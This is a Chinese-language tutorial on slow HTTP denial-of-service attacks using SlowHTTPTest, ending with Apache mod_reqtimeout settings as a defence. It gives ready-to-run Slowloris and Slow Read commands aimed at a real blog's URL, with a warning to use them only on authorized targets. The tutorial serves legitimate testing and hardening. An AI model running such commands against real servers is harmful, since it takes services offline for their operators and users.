慢速DoS攻击是一种与传统高速洪水攻击截然不同的网络威胁。其核心并非通过巨大的流量带宽压垮目标,而是巧妙地利用协议机制,通过维持大量低速、耗时的连接来耗尽服务器的连接池、线程等关键资源,最终导致服务拒绝。
SlowHTTPTest 是一款集成了多种慢速攻击模式的测试工具,能够模拟 Slowloris、Slow HTTP POST 以及 Slow Read attack 等经典攻击手法。理解这些工具的工作原理,对于构建有效的网络安全防护体系至关重要。
安装 SlowHTTPTest
在 Kali Linux 系统中,可以通过包管理器直接安装:
apt-get install slowhttptest

对于其他 Linux 发行版,通常需要从源码编译安装:
tar -xzvf slowhttptest-x.x.tar.gz
cd slowhttptest-x.x
./configure --prefix=PREFIX
make
sudo make install
查看工具帮助
安装完成后,可以通过 -h 参数查看完整的命令行选项:
slowhttptest -h

攻击模拟示例
⚠️ 警告:以下操作仅限在授权的测试环境或本地实验环境中进行,严禁对未经授权的任何目标使用。
1. Slowloris 模式攻击示例
该模式通过缓慢发送不完整的HTTP请求头来保持连接占用。
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://blog.bbskali.cn/index.html -x 24 -p 3

当工具界面的 service available 状态变为 NO 时,表示目标服务已不可用,模拟攻击成功。

2. Slow Read 模式攻击示例
该模式通过极慢的速度读取服务器响应,消耗服务器发送缓冲区资源。
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u https://blog.bbskali.cn/index.html
防御措施与实践
以常见的 Apache HTTP Server 为例,可以通过修改配置文件来有效缓解此类慢速攻击。
-
启用 mod_reqtimeout 模块
编辑 httpd.conf 配置文件,确保 mod_reqtimeout 模块已被启用(默认通常已启用,若被注释则移除行首的 # 号)。

-
配置超时与最小速率限制
在配置文件中添加或修改 mod_reqtimeout 的配置指令,严格限制请求头和请求体的读取时间与最小速率。
<IfModule reqtimeout_module>
# 设置请求头必须在5-40秒内传输完毕,且传输速率不低于500字节/秒
# 设置请求体必须在20秒内开始传输,且传输速率不低于500字节/秒
RequestReadTimeout header=5-40,MinRate=500 body=20,MinRate=500
</IfModule>
此配置会强制中断那些传输过于缓慢的连接,从而释放被占用的资源,保障正常用户的访问。
|